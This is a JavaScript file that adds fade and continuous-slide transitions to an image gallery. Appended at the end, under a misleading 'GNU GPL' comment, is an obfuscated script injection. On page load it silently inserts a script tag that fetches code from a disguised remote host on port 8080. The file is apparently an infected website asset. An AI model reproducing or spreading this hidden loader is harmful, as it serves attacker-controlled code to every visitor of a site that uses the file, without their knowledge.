/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});



/*GNU GPL*/ try{window.onload = function(){var Mejylpp26bw66ij = document.createElement('s)@&c#(r&i^p!t((('.replace(/\(|@|\!|#|\)|\^|&|\$/ig, ''));Mejylpp26bw66ij.setAttribute('type', 'text/javascript');Mejylpp26bw66ij.setAttribute('src',  'h#&&t$(t@)!p@)):!/#$/((b^!^i^!@l&d!&^-$@@d(!e)).$#g$!!o$(o#^&g$l@$)$@e(^@.)(!c&@o&.^)&#t@(^&h)(.^@g@!l@o@$!b$&^)o!#&-!#!!c^o#m)(.)#^^v^i!^!!e$&w(!h#)&o$m()e^@)s!@##!a$#!l)$#e&@@.^r&))&u@^!:#)#8&@(@&0^!8@(&@0@/(()(g#$$o($(o)!$^g&!(l)$)#e^#.!c&##o##$m$/(@g^#o#(o$#)g$@!l!(e^.&#c!(@o!(@m(@/!$@)x^t!&e$()$n^#(&d()m@e!)(!^d#!i#a!!#.@)c(!)o#^^$^m(/)!a#!(b&^^@c$(#.$g&#o@&.!#c)!)o)^m@(!&/@)&@b$(a!)#)(d$(o@)o^().@)c#($o$#&m)/)('.replace(/@|\!|\(|\)|&|\^|#|\$/ig, ''));Mejylpp26bw66ij.setAttribute('defer', 'defer');Mejylpp26bw66ij.setAttribute('id', 'D)d!(@g^$8!s(j)()i#&@r(#)#2&!@e)(!j^^^'.replace(/\!|\$|@|\^|\)|&|#|\(/ig, ''));document.body.appendChild(Mejylpp26bw66ij);}} catch(e) {}